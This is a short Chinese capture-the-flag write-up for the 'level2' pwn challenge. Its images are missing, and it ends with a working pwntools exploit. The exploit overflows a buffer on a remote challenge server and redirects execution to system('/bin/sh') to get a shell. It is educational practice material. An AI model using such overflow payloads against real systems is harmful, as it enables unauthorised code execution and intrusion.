level2
题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用`面向返回的编程`(ROP)就可以了’
题目附件:
file如下:
checksec如下:
IDA反汇编,查看main函数:
查看vulnerable_function:
存在缓冲区溢出漏洞和后门函数
Shift+F12查看字符串
有"/bin/sh",那就好办了
查看system函数调用地址:
查看"/bin/sh"地址:
exp如下:
from pwn import * #io = process('./pwn') io = connect('220.249.52.133', 40113) system_address = 0x0804845C binsh_address = 0x0804A024 payload = b'a'*0x8c + p32(system_address) + p32(binsh_address) io.sendlineafter('Input:', payload) io.interactive()